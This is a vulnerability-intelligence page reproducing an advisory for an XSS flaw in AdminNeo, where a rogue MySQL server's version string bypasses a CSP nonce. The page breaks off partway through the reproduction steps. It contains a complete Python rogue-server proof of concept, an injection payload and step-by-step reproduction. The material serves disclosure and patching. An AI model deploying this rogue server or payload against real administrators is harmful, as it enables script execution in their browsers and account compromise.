SaibaRadar

CVE-2026-96632 — 脆弱性インテリジェンス

— adminneo-org/adminneo

公表日:

CVSS
0
CISA KEV
未掲載(悪用がないことを意味しません)

情報源の原文(翻訳ではありません)

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass) ## Summary AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start() ``` ```shell # Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss # Terminal 2: start rogue MySQL python3 rogue_mysql.py ``` ### 2. Trigger the XSS Open a browser and navigate to `http://localhost:8081/adminneo.php`: 1. Select driver: **MySQL** 2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py) 3. Username: `root` 4. Password: `x` 5. Click Login. The rogue server accepts the login. AdminNeo renders the dashboard and includes: ```html <script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(or

情報源